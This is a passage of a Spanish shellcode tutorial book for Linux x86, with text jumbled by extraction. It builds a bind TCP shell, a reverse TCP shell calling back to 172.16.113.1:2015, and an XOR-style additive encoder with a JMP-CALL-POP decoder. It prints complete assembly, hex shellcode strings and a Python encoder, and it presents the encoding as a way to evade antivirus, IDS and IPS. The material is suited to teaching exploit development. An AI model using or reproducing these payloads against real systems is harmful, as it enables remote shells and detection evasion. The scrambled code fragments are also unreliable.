Libro Shellcodes - Hacking
Libro Shellcodes - Hacking
Libro Shellcodes - Hacking
Shellcodes:
tips & tricks
Edicin especial
Requisitos
Requisitos previos
Requisitos
previos
Desarrollo
Muchos
participantes
de losen
Cursos
1.
Desarrollo
genrico
C que imparto en formato presencial u online creen que desarrollar shellcodes es una labor
bastante compleja y con poca documentacin en castellano.
Se facilita una mquina virtual para realizar los ejercicios (recomendable al menos 2 GB de memoria RAM) con credenciales
root/p4$$w0rd y todo el entorno preparado para comenzar a trabajar desde el primer momento:
Fichero manifest:
http://navajanegra.com/assets/media/avevaders.mf
F i c h e r o d e c o n fi g u r a c i n :
http://navajanegra.com/assets/media/avevaders.ovf
Disco Duro Virtual:
http://navajanegra.com/assets/media/avevaders-disk1.vmdk
@NN2ed_s4ur0n
Shellcode Bind
TCP
En este captulo,
escribiremos una shellcode
para GNU/Linux x86 que
quedar vinculada en un
puerto TCP de la mquina
destino, aceptar
conexiones remotas
entrantes y ejecutar una
shell de sistema cuando el
cliente conecte.
Desarrollo
genrico en C
Desarrollo
int main(void){
int fd, newfd;
Para
afianzar los
conceptos
1.
Desarrollo
genrico
enque
C posteriormente desarrollaremos en lenguaje ensamblador, vamos a escribir un cdigo en C
que ejecutar una shellcode quedando sta vinculada a un
puerto TCP en cualquier direccin IP del equipo donde se ejecute y que quedar preparado para recibir conexiones remotas
entrantes. Una vez que un cliente conecte, ejecutar la shell
/bin/sh hasta que el cliente decida finalizar la conexin activa.
#include <stdio.h>
#include <sys/socket.h>
7
dup2(newfd, STDIN);
dup2(newfd, STDOUT);
dup2(newfd, STDERR);
$ man dup
$ sudo ./tcpbind
Acepta la conexin
Redirecciona STDIN, STDOUT y STDERR
Ejecuta /bin/sh
0 0.0.0.0:2015
LISTEN
3580/sh
$ nc IP_DESTINO 2015
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
Observando en su salida:
__libc_start_main(0x804854b, 1, 0xbf944434, 0x8048640
<unfinished ...>
htons(2015, 0xc10000, 1, 0x804837d)
= 0xdf07
Conceptos
bsicos en ensamblador paDesarrollo
ra trabajo con sockets
1. Conceptos bsicos en ensamblador para trabajo
sockets
Lascon
llamadas
al sistema (system calls) se definen en el fichero
unistd_32.h o unistd_64.h dependiendo de la arquitectura para 32 64 bits, localizado generalmente en el directorio del sistema /usr/include/i386-linux-gnu/asm/ Estos ficheros, incluyen la definicin de la llamada y el identificador de la misma
asignado.
Para comprobar las llamadas al sistema que realiza, lo haremos con el comando:
Para el anterior cdigo, podemos observar la libreras que emplea con el comando:
10
= 0x9e15000
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
= -1 ENOENT
= 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
= 0
= 0
munmap(0xb770e000, 43989)
= 0
= 0
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3,
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\
233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492,
...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7564000
= 0
accept(3,
$ cat systemcalls.txt
% time
seconds
usecs/call
calls
errors syscall
0.000000
read
0.00
0.000000
write
0.00
0.000000
open
0.00
0.000000
close
0.00
0.000000
execve
0.00
0.000000
getpid
0.00
0.000000
6 access
0.00
0.000000
brk
0.00
0.000000
1 ioctl
0.00
0.000000
dup2
0.00
0.000000
getppid
0.00
0.000000
munmap
0.00
0.000000
wait4
0.00
0.000000
sigreturn
0.00
0.000000
clone
0.00
0.000000
mprotect
0.00
0.000000
rt_sigaction
0.00
0.000000
getcwd
0.00
0.000000
12
0.00
0.000000
10
0.00
0.000000
fstat64
0.00
0.000000
geteuid32
0.00
0.000000
set_thread_area
0.00
0.000000
socket
0.00
0.000000
bind
0.00
0.000000
listen
0.00
0.000000
5 accept
mmap2
9 stat64
0.000000
90
21 total
12
#define __NR_execve 11
#define __NR_dup2 63
#define SYS_SOCKET
#define SYS_BIND 2
$ man 2 socketcall
El primer argumento que tendremos que pasarle, ser el identificador de la llamada que queremos emplear (como SOCKET,
BIND, LISTEN y ACCEPT) en nuestro caso. Podemos encontrarlo en el fichero de definicin /usr/include/linux/net.h y verlo con el comando:
/* sys_socket(2)
*/
/* sys_bind(2)
*/
#define SYS_CONNECT
/* sys_connect(2)
*/
#define SYS_LISTEN
/* sys_listen(2)
*/
#define SYS_ACCEPT
/* sys_accept(2)
*/
#define SYS_GETSOCKNAME
/* sys_getsockname(2)
*/
#define SYS_GETPEERNAME
/* sys_getpeername(2)
*/
#define SYS_SOCKETPAIR
/* sys_socketpair(2)
*/
#define SYS_SEND 9
/* sys_send(2)
*/
#define SYS_RECV 10
/* sys_recv(2)
*/
#define SYS_SENDTO
11
/* sys_sendto(2)
*/
#define SYS_RECVFROM
12
/* sys_recvfrom(2)
*/
#define SYS_SHUTDOWN
13
/* sys_shutdown(2)
*/
#define SYS_SETSOCKOPT
14
/* sys_setsockopt(2)
*/
#define SYS_GETSOCKOPT
15
/* sys_getsockopt(2)
*/
#define SYS_SENDMSG
16
/* sys_sendmsg(2)
*/
#define SYS_RECVMSG
17
/* sys_recvmsg(2)
*/
#define SYS_ACCEPT4
18
/* sys_accept4(2)
*/
#define SYS_RECVMMSG
19
/* sys_recvmmsg(2)
*/
#define SYS_SENDMMSG
20
/* sys_sendmmsg(2)
*/
$ cat /usr/include/linux/net.h
13
En la siguiente seccin, veremos cmo podemos escribir el cdigo necesario en ensamblador para poder realizar nuestra
shellcode.
14
; eax = 0
; socketcall()
; ebx = 0
Sockets
en ensamblador
Desarrollo
Comenzaremos
escribir elen
cdigo
del programa
en trabajo
ensambla1.
Conceptosabsicos
ensamblador
para
dor.con
Le denominaremos
bindtcp.asm y contendr:
sockets
global _start
section .text
_start:
; en orden inverso
push ebx
; protocol
push 1
; SOCK_STREAM
push 2
; AF_INET
mov bl, 1
; socket()
; ecx = 0
int 0x80
; syscall socketcall()
15
; Guardar el socket
; eax = 0
; socketcall()
; ebx = 0
int 0x80
; syscall socketcall()
; eax = 0
; socketcall()
; ebx = 0
mov bl, 4
; listen()
; INADDR_ANY
push 1
; backlog
push word 2
; AF_INET
push esi
; sockfd
; Puntero a la estructura
mov bl, 2
; bind()
int 0x80
; syscall socketcall()
push 16
;sizeof(struct sockaddr_in)
push ecx
; &serv_addr
push esi
; sockfd
16
Nos quedar la parte para poder aceptar las conexiones entrantes con accept(sockfd, (struct sockaddr *)&cli_addr,
&sin_size); y que escribiremos en ensamblador como:
; eax = 0
; socketcall()
; ebx = 0
; zero addrlen
push ebx
; null sockaddr
push esi
; sockfd
mov bl, 5
; accept()
Por ltimo, tendremos en el registro EAX el descriptor preparado del socket que asignaremos tambin al registro ESI de la forma:
A continuacin, tenemos que realizar los dup2 con los parmetros correctos. Para ello, el valor deseado lo pondremos en el
registro ECX antes de realizar la llamada al sistema. El primero
ser 0 (STDIN) y posteriormente emplearemos INC para incrementar su valor en 1.
; dup2(connfd, 0);
xor eax, eax
; eax = 0
mov al, 63
; dup2()
int 0x80
; syscall socketcall()
; ecx = 0
int 0x80
; dup2(connfd, 1);
xor eax, eax
; eax = 0
mov al, 63
; dup2()
int 0x80
; eax = 0
push eax
push eax
; dup2(connfd, 2);
push ebx
; eax = 0
mov al, 63
; dup2()
push eax
; syscall execve()
i386pep
$ nasm -f elf32 -o bindtcp.o bindtcp.asm
i386pe
Por tanto, simplemente tendremos que especificar la opcin correcta elf_i386 para poder enlazarlo correctamente:
$ ld -V
$ sudo ./bindtcp_asm
i386linux
elf32_x86_64
elf_x86_64
elf_l1om
elf_k1om
19
Conversin
de OpCodes
Desarrollo
Desde
nuestro terminal,
observar elpara
cdigo
en en1.
Conceptos
bsicospodremos
en ensamblador
trabajo
samblador
mediante la utilidad objdump con la siguiente sintacon sockets
xis (mostrar slo la seccin de cdigo):
08048080 <_start>:
8048086: 53
push
ebx
8048087: 6a 01
push
0x1
8048089: 6a 02
push
0x2
804808b: b3 01
mov
bl,0x1
804808d: 31 c9
xor
ecx,ecx
804808f: 89 e1
mov
ecx,esp
8048091: cd 80
int
0x80
8048093: 89 c6
mov
esi,eax
8048095: 31 c0
xor
eax,eax
8048097: b0 66
mov
al,0x66
8048099: 31 db
xor
ebx,ebx
804809b: 53
push
ebx
804809c: 66 68 07 df
pushw
0xdf07
80480a0: 66 6a 02
pushw
0x2
80480a3: 89 e1
mov
ecx,esp
80480a5: b3 02
mov
bl,0x2
80480a7: 6a 10
push
0x10
80480a9: 51
push
ecx
80480aa: 56
push
esi
80480ab: 89 e1
mov
ecx,esp
80480ad: cd 80
int
0x80
80480af: 31 c0
xor
eax,eax
80480b1: b0 66
mov
al,0x66
80480b3: 31 db
xor
ebx,ebx
80480b5: b3 04
mov
bl,0x4
80480b7: 6a 01
push
0x1
80480b9: 56
push
esi
8048080: 31 c0
xor
eax,eax
80480ba: 89 e1
mov
ecx,esp
8048082: b0 66
mov
al,0x66
80480bc: cd 80
int
0x80
8048084: 31 db
xor
ebx,ebx
80480be: 31 c0
xor
eax,eax
20
80480c0: b0 66
mov
al,0x66
80480fc: 53
push
ebx
80480c2: 31 db
xor
ebx,ebx
80480fd: 89 e1
mov
ecx,esp
80480c4: 53
push
ebx
80480ff: 50
push
eax
80480c5: 53
push
ebx
8048100: 89 e2
mov
edx,esp
80480c6: 56
push
esi
8048102: b0 0b
mov
al,0xb
80480c7: b3 05
mov
bl,0x5
8048104: cd 80
int
0x80
80480c9: 89 e1
mov
ecx,esp
80480cb: cd 80
int
0x80
80480cd: 89 c6
mov
esi,eax
80480cf: 31 c0
xor
eax,eax
80480d1: b0 3f
mov
al,0x3f
80480d3: 89 f3
mov
ebx,esi
80480d5: 31 c9
xor
ecx,ecx
80480d7: cd 80
int
0x80
80480d9: 31 c0
xor
eax,eax
80480db: b0 3f
mov
al,0x3f
80480dd: 89 f3
mov
ebx,esi
80480df: 41
inc
ecx
80480e0: cd 80
int
0x80
80480e2: 31 c0
xor
eax,eax
80480e4: b0 3f
mov
al,0x3f
80480e6: 89 f3
mov
ebx,esi
80480e8: 31 c9
xor
ecx,ecx
80480ea: cd 80
int
0x80
80480ec: 31 c0
xor
eax,eax
80480ee: 50
push
eax
80480ef: 68 2f 2f 73 68
push
0x68732f2f
80480f4: 68 2f 62 69 6e
push
0x6e69622f
80480f9: 89 e3
mov
ebx,esp
80480fb: 50
push
eax
Como no observamos ningn cdigo de operacin nulo, podremos entonces generar nuestra shellcode a partir de los OpCodes de salida de objdump.
21
"\x31\xc0\xb0\x66\x31\xdb\x53\x6a\x01\x6a\x02\
xb3\x01\x31\xc9\x89\xe1\xcd\x80\x89\xc6\x31\xc
0\xb0\x66\x31\xdb\x53\x66\x68\x07\xdf\x66\x6a\
x02\x89\xe1\xb3\x02\x6a\x10\x51\x56\x89\xe1\xc
d\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\
x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\x5
3\x53\x56\xb3\x05\x89\xe1\xcd\x80\x89\xc6\x31\
xc0\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\xb
0\x3f\x89\xf3\x41\xcd\x80\x31\xc0\xb0\x3f\x89\
xf3\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x7
3\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\
xe1\x50\x89\xe2\xb0\x0b\xcd\x80"
Incluso si es necesario volcar todo el contenido del fichero a este formato, podramos realizarlo con hexdump de la forma (recordar que las cabeceras tambin sern convertidas y no son
necesarias para el exploit funcional):
#include <string.h>
int main(void) {
printf("Shellcode
strlen(code));
Length:
%d\n",
A continuacin, bastar con un sencillo cdigo en C para ejecutar la shellcode que hemos obtenido. Podemos realizarlo escribiendo el cdigo que denominaremos shellcode.c conforme a:
Para compilar, necesitaremos que la pila sea ejecutable. Podemos indicarlo a gcc mediante:
#include <stdio.h>
22
$ sudo ./shellcode
23
Optimizacin
de la Shellcode
Desarrollo
Aunque
134 bytes
no sonen
muchos,
trataremos
de trabajo
optimizar
1.
Conceptos
bsicos
ensamblador
para
nuestra
con shellcode
sockets desde el propio lenguaje ensamblador, procediendo a aplicar diferentes tcnicas que nos permitirn generar
una shellcode menor.
; eax = 0
; socketcall()
; ebx = 0
; socket()
; ecx = 0
global _start
Pondremos en ESI el nuevo socket creado al igual que hacamos anteriormente (devuelto en EAX):
section .text
_start:
xor ebx, ebx
; ebx = 0
mul ebx
; eax, edx = 0
; socketcall()
mov bl, 1
; socket()
push edx
; protocol
push ebx
; SOCK_STREAM
push 2
; AF_INET
int 0x80
; syscall socketcall()
Para realizar el bind del socket, podemos ver qu podemos optimizar y escribir:
; socketcall()
inc ebx
; bind() - 2
push edx
; INADDR_ANY
; AF_INET
; Puntero a la estructura
push 16
; sizeof(struct sockaddr_in)
push ecx
; &serv_addr
push esi
; sockfd
int 0x80
; syscall socketcall()
; socketcall()
mov bl, 4
; listen()
push edx
; backlog
push esi
; sockfd
int 0x80
; syscall socketcall()
; socketcall()
mov bl, 5
; accept()
push edx
; Addrlen = 0
push edx
; Sockaddr = null
push esi
; sockfd
int 0x80
; syscall socketcall()
Como en EAX recibimos el descriptor del socket podemos realizar un XCHG de la forma:
;
; Bucle DUP2 (0, 1, 2)
;
xor ecx, ecx
; ecx = 0
mov cl, 2
; Inicializar contador
loop:
; dup2(connfd, 0);
mov al, 63
; dup2()
int 0x80
26
dec ecx
jns loop
#include <stdio.h>
; Dir de /bin/sh
#include <string.h>
push eax
; null terminator
push ebx
; Dir de
push eax
mov al, 11
; execve()
int 0x80
; call execve()
/bin/sh
int main(void) {
27
printf("Shellcode
strlen(code));
Length:
%d\n",
Para compilar, necesitaremos que la pila sea ejecutable. Podemos indicarlo a gcc mediante:
$ sudo ./shellcode2
28
En este captulo,
escribiremos una shellcode
para GNU/Linux x86 que
abrir una conexin
inversa a un puerto TCP de
la mquina destino que
estar preparada para
aceptar la conexin,
ejecutando una shell de
sistema al conectar.
Desarrollo
genrico en C
Desarrollo
serv_addr.sin_family = AF_INET;
En esta
ocasin,genrico
vamos a escribir
1.
Desarrollo
en C una shellcode que nos permitir iniciar una conexin inversa hacia una mquina de destino
que se encontrar preparada por el atacante. Con dicha forma,
la shellcode no tendr que quedar a la espera como en el anterior captulo y ser ella la que iniciar la conexin por lo que podr evadir las protecciones de permetro bsicas.
serv_addr.sin_addr.s_addr =
inet_addr("172.16.113.1");
serv_addr.sin_port = htons(2015);
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
}
30
Por lo tanto, tendremos que emplear un gestor para la conexin y volveremos a emplear netcat para que espere a la conexin que iniciar la mquina que ejecutar la shellcode. Para
ello, escribiremos en consola:
$ sudo ./reverse
Para comprobar el funcionamiento del cdigo, simplemente lo
compilamos de forma estndar con gcc:
En la mquina donde ejecutamos la shellcode, podemos comprobar el correcto funcionamiento de nuestra shellcode mediante el comando:
$ sudo ./reverse
$ sudo netstat -atunp | grep 2015
En caso de lanzarlo sin un handler que maneje la conexin en
el otro extremo de la comunicacin, no fallar pero no realizar
ningn tipo de accin.
tcp
0
0 172.16.113.130:37554
172.16.113.1:2015
ESTABLISHED 5016/sh
31
Desde la mquina donde tenemos netcat a la escucha, podremos continuar ejecutando comandos del sistema:
id
whoami
exit
32
Observando en su salida:
__libc_start_main(0x80484eb, 1, 0xbfeda9f4, 0x80485b0
<unfinished ...>
socket(2, 1, 0)
= 3
Conceptos
bsicos en ensamblador paDesarrollo
ra trabajo con sockets
1. Conceptos bsicos en ensamblador para trabajo
sockets
Lascon
llamadas
al sistema (system calls) se definen en el fichero
unistd_32.h o unistd_64.h dependiendo de la arquitectura para 32 64 bits, localizado generalmente en el directorio del sistema /usr/include/i386-linux-gnu/asm/
Incluyen la definicin de la llamada y el identificador de la misma asignado. Para el anterior cdigo, podemos observar la libreras que emplea con el comando:
inet_addr("172.16.113.1")
= 0x17110ac
htons(2015, 1, 0, 0x8048341)
= 0xdf07
connect(3, 0xbfeda92c, 16, 0x8048341)
= 0
dup2(3, 0)
= 0
dup2(3, 1)
= 1
dup2(3, 2)
= 2
execve(0x804864d, 0xbfeda924, 0, 0x8048341 <no return
...>
--- Called exec() --__libc_start_main(0xb77012c0, 1, 0xbfb46474,
0xb7713320 <unfinished ...>
__errno_location()
= 0xb75238fc
_setjmp(0xbfb46310, 0xb76f2876, 0xb753e0b5,
0xb7701302)
= 0
33
getpid()
= 5036
sigfillset(~<31>)
= 0
malloc(16)
= 0xb83cf080
geteuid()
= 0
getppid()
= 5035
__vsnprintf_chk(0xb771d105, 27, 1, -1)
= 4
isatty(0)
= 0
sigaction(SIGINT, nil, { 0, <>, 0, 0xb771ce0c })
= 0
sigfillset(~<31>)
= 0
malloc(16)
= 0xb83cf008
getcwd(0, 0)
= ""
__ctype_b_loc()
= 0xb7523908
sigfillset(~<31>)
= 0
__ctype_b_loc()
= 0xb7523908
__ctype_b_loc()
= 0xb7523908
strchrnul(0xb7713771, 61, -1, 0xb771ce0c)
= 0xb7713771
strlen("/root/AvEvaders/shellcodes/chapt"...)
= 36
malloc(41)
= 0xb83cf050
read(3,
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\
233\1\0004\0\0\0"..., 512) = 512
Observando en su salida:
execve("./reverse", ["./reverse"], [/* 35 vars */]) =
0
brk(0)
= 0x80da000
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
= 0
access("/etc/ld.so.preload", R_OK)
(No such file or directory)
set_thread_area({entry_number:-1,
base_addr:0xb7564940, limit:1048575, seg_32bit:1,
contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0 (entry_number:6)
= -1 ENOENT
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
= 0
= 0
munmap(0xb770f000, 43989)
= 0
close(3)
= 0
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
dup2(3, 0)
= 0
dup2(3, 1)
= 1
35
dup2(3, 2)
= 2
= 0xb7e81000
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
= -1 ENOENT
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=43989,
...}) = 0
mmap2(NULL, 43989, PROT_READ, MAP_PRIVATE, 4, 0) =
0xb76c7000
close(4)
= 0
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
= 0
= 0
= 0
= 0
munmap(0xb76c7000, 43989)
= 0
getpid()
= 5044
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4,
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\
233\1\0004\0\0\0"..., 512) = 512
geteuid32()
= 0
getppid()
= 5041
brk(0)
= 0xb7e81000
brk(0xb7ea2000)
= 0xb7ea2000
getcwd("/root/AvEvaders/shellcodes/chapter02", 4096)
= 37
36
duales del tipo socket, bind, listen, accept y tendremos que realizarlas a travs de dicha llamada. En el caso particular de una
shell inversa, emplearemos el identificador SYS_CONNECT
con el valor 3 conforme podemos encontrar en el fichero de definicin /usr/include/linux/net.h (puede verse su contenido con
el comando):
$ cat /usr/include/linux/net.h
En la siguiente seccin, veremos cmo podemos escribir el cdigo necesario en ensamblador para poder realizar nuestra
shellcode.
Por tanto, lo primero ser obtener las llamadas correctas al sistema y se observan las siguientes tres syscall siguientes:
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
; socketcall()
pop eax
cdq
; edx = 0
push edx
; protocol
inc edx
Reverse
TCP Shell en ensamblador
Desarrollo
Comenzaremos
escribir elen
cdigo
del programa
en trabajo
ensambla1.
Conceptosabsicos
ensamblador
para
dor.con
Le denominaremos
reverse.asm y contendr:
sockets
global _start
section .text
push edx
; SOCK_STREAM
; socket()
inc edx
push edx
; AF_INET
int 0x80
; syscall socketcall()
_start:
a) Emplear un bucle ya que simplemente cambiara el parmetro que pasamos a cada uno (0=STDIN, 1=STDOUT,
2=STDERR)
b) Guardar el descriptor del socket devuelto en EAX en el registro EBX
c) Inicializar el contador en 2 mediante el registro EDX
38
; Guardar descriptor
; Contador = 2
loop:
mov al, 0x3f
; 63
int 0x80
; syscall
dec ecx
push 0x017110AC
; 172.16.113.1
; port
push word bx
; AF_INET
inc ebx
; connect() -> 3
; Puntero estruct.
push 0x10
push ecx
; &serv_addr
push edx
; sockfd
jns loop
int 0x80
A continuacin, podremos realizar el CONNECT de la forma
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); a la direccin y puerto que especifiquemos.
; socketcall()
; ebx=2, edx=sockfd
push 0xb
mov al, 0x66
; sizeof(struct sockaddr_in)
; execve()
pop eax
cdq
; edx = 0
; ecx = 0
39
push edx
push 0x68732f2f
; //sh
push 0x6e69622f
; /bin
; Dir. de /bin/sh
int 0x80
; syscall execve()
$ sudo ./reverse_asm
40
Conversin
de OpCodes
Desarrollo
8048084: 52
push
edx
8048085: 42
inc
edx
8048086: 52
push
edx
8048087: 89 d3
mov
ebx,edx
8048089: 42
inc
edx
804808a: 52
push
edx
804808b: 89 e1
mov
ecx,esp
804808d: cd 80
int
0x80
804808f: 93
xchg
ebx,eax
8048090: 89 d1
mov
ecx,edx
8048092: b0 3f
mov
al,0x3f
8048094: cd 80
int
0x80
8048096: 49
dec
ecx
8048097: 79 f9
jns
8048092 <loop>
8048099: b0 66
mov
al,0x66
804809b: 87 da
xchg
edx,ebx
804809d: 68 ac 10 71 01
push
0x17110ac
80480a2: 66 68 07 df
pushw
0xdf07
80480a6: 66 53
push
bx
80480a8: 43
inc
ebx
80480a9: 89 e1
mov
ecx,esp
80480ab: 6a 10
push
0x10
80480ad: 51
push
ecx
80480ae: 52
push
edx
80480af: 89 e1
mov
ecx,esp
08048092 <loop>:
Desde
nuestro terminal,
observar elpara
cdigo
en en1.
Conceptos
bsicospodremos
en ensamblador
trabajo
samblador
mediante la utilidad objdump con la siguiente sintacon sockets
xis (mostrar slo la seccin de cdigo):
08048080 <_start>:
8048080: 6a 66
push
0x66
80480b1: cd 80
int
0x80
8048082: 58
pop
eax
80480b3: 6a 0b
push
0xb
8048083: 99
cdq
80480b5: 58
pop
eax
41
80480b6: 99
cdq
80480b7: 89 d1
mov
ecx,edx
80480b9: 52
push
edx
80480ba: 68 2f 2f 73 68
push
0x68732f2f
80480bf: 68 2f 62 69 6e
push
0x6e69622f
80480c4: 89 e3
mov
ebx,esp
80480c6: cd 80
int
0x80
Como no observamos ningn cdigo de operacin nulo, podremos entonces generar nuestra shellcode a partir de los OpCodes de salida de objdump.
"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\
x89\xe1\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x4
9\x79\xf9\xb0\x66\x87\xda\x68\xac\x10\x71\x01\
x66\x68\x07\xdf\x66\x53\x43\x89\xe1\x6a\x10\x5
1\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1\
x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8
9\xe3\xcd\x80"
A continuacin, bastar con un sencillo cdigo en C para ejecutar la shellcode que hemos obtenido. Podemos realizarlo escribiendo el cdigo que denominaremos shellcode.c conforme a:
#include <stdio.h>
#include <string.h>
int main(void) {
42
printf("Shellcode
strlen(code));
Length:
%d\n",
Para compilar, necesitaremos que la pila sea ejecutable. Podemos indicarlo a gcc mediante:
$ sudo ./shellcode
43
Decodificador ASM
En el presente captulo,
escribiremos un
codificador/decodificador
en ensamblador que
podremos emplear para
evadir AVs/IDS/IPS.
Decodificador en ensamblador
Desarrollo de la shellcode
Codificacin de la shellcode
Desarrollo
genrico
Desarrollo
UnaDesarrollo
forma que tenemos
de en
evadir
1.
genrico
C AVs, IDS, IPS, etc. consiste
en no emplear patrones conocidos y por tanto, necesitamos
en ciertas ocasiones emplear shellcodes codificadas.
El problema que presenta una shellcode no codificada, es cuando se emplea un sistema de firmas como una proteccin AntiMalware. Por tanto, este tipo de tcnica, ofuscar la shellcode
final a ejecutar.
Para trabajar la shellcode, emplearemos una muy sencilla basada en execve() para ejecutar una shell /bin/sh
global _start
En este ejercicio, vamos a trabajar con una sencilla shellcode
que posteriormente, desde lenguaje ensamblador, decodificaremos empleando el patrn empleado para codificarla y la ejecutar satisfactoriamente.
section .text
_start:
45
; execve()
;
xor eax,eax ; eax = 0
; Apilar /bin/sh
;
na
# id
push eax
$ sudo ./binsh
; Puntero a la cadena
;
; Ejecucin execve()
;
mov al, 0xb
; execve()
int 0x80
; syscall
"\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\
x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x8
0"
En la siguiente seccin, veremos cmo podemos crear un esquema propio para codificar dicha shellcode desde un lenguaje
de alto nivel.
47
Decodificador en ensamblador
shellcode
=
("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x
80")
def main(argv):
Codificador
genrico
Desarrollo
Cuando
tenemosgenrico
los OpCodes
1.
Desarrollo
en Cde la shellcode, simplemente
queremos ofuscarlos o codificarlos para evitar la deteccin por
las diferentes firmas.
shellcode_len = len(bytearray(shellcode))
print "Longitud shellcode: %d bytes" %
shellcode_len
encoded = ""
for x in bytearray(shellcode):
x = x + 2
encoded += "0x"
if __name__ == "__main__":
En python, podemos desarrollar el siguiente cdigo:
try:
main(sys.argv[1:])
#!/usr/bin/python
import sys
except Exception as e:
print 'Cannot run program.\n', e
48
raise
En la siguiente seccin, veremos cmo podemos crear el cdigo en ensamblador que nos permitir ejecutar dicha shellcode
codificada con dicho esquema.
$ python codificador.py
Longitud shellcode: 23 bytes
Encoded: 0x33, 0xc2, 0x8b, 0xc4, 0x8b, 0xc3,
0x52, 0x6a, 0x31, 0x31, 0x75, 0x6a, 0x6a,
0x31, 0x64, 0x6b, 0x70, 0x8b, 0xe5, 0xb2,
0x0d, 0xcf, 0x82,
Como podamos calcular, simplemente a cada uno de los cdigos de operacin de la shellcode, se les ha aadido 2, por lo
que el primero quedar como 0x31 + 0x2 = 0x33 y as sucesivamente.
49
Decodificador en ensamblador
global _start
section .text
_start:
jmp short jump_decoder
Decodificador
genrico en ensamblaDesarrollo
dor
1. Desarrollo genrico en C
Una vez que hemos obtenido nuestra shellcode codificada, vamos a implementar en ensamblador el algoritmo para su decodificacin y poder ejecutarla correctamente.
decoder:
; Instrucciones
jump_decoder:
; Decodificar (call)
call decoder
El esqueleto bsico en ensamblador ser el siguiente para poder emplear dicha tcnica (jmpcallpop.asm):
encshellcode:
db 0x, 0x, 0x, ...
len: equ $-encshellcode
encshellcode:
db 0x33, 0xc2, 0x8b, 0xc4, 0x8b, 0xc3
db 0x52, 0x6a, 0x31, 0x31, 0x75, 0x6a
db 0x6a, 0x31, 0x64, 0x6b, 0x70, 0x8b
$ cp jmpcallpop.asm decode.asm
$ vim decode.asm (incluir shellcode)
Observar que tampoco es necesario que la shellcode codificada finalice con un byte NULO.
$ cat decode.asm
global _start
section .text
_start:
jmp short jump_decoder
decoder:
; Instrucciones
jump_decoder:
; Decodificar (call)
call decoder
51
decoder:
; Instrucciones
pop esi
; Dir. shellcode
; ecx = 0
; ecx = len(shellcode)
decode:
# exit
nal
nextbyte:
inc esi
tual
loop decode
; Siguiente byte
En la siguiente seccin, vamos a realizar el proceso de ingeniera inversa para afianzar todos los conceptos aprendidos en esta seccin y ver cmo, -en su depuracin en tiempo real-, se decodifica nuestra shellcode.
; Ejecutar
52
Decodificador en ensamblador
Depuracin
del decodificador
Desarrollo
Es muy
importante
comprender
el cdigo que hemos desarrolla1.
Desarrollo
genrico
en C
do, pues posteriormente, vamos a realizar modificaciones sobre el mismo para permitir una mayor ofuscacin. La mayora
de protecciones, son capaces de continuar el stub para obtener la shellcode original y alertar al usuario.
$ gdb -q ./decode
53
>>> stepi
>>> b _start
Breakpoint 1 at 0x8048080
>>> run
Veremos que el registro ESI no contiene nada y posteriormente, realizar un salto a _jump_decoder. Ejecutaremos slo dicha instruccin y veremos los registros:
>>> stepi
0x80480a1 <encshellcode+8>:
0x75
0x6a
0x6a
0x31
0x31
0x64
0x31
0x6b
0x80480a9 <encshellcode+16>:
0xe5
0xb2
0x0d
0xcf
0x70
0x82
0x8b
Apuntar entonces a decoder. Ejecutaremos slo esta intruccin (si se pulsa ENTER se repite el anterior comando).
>>> stepi
0x8b
54
Breakpoint 2 at 0x804808a
>>> c
Continuing.
Pondremos ahora un nuevo breakpoint antes de hacer la llamada a jmp encshellcode para ejecutarla. Para ello, desensamblaremos la parte que nos interesa con:
>>> stepi
>>> x/23xb $esi
0x8048099 <encshellcode>: 0x31
0xc2
0xc4
0x8b
0xc3
0x52
0x6a
0x8b
0x80480a1 <encshellcode+8>:
0x75
0x6a
0x6a
0x31
0x31
0x64
0x31
0x6b
0x80480a9 <encshellcode+16>:
0xe5
0xb2
0x0d
0xcf
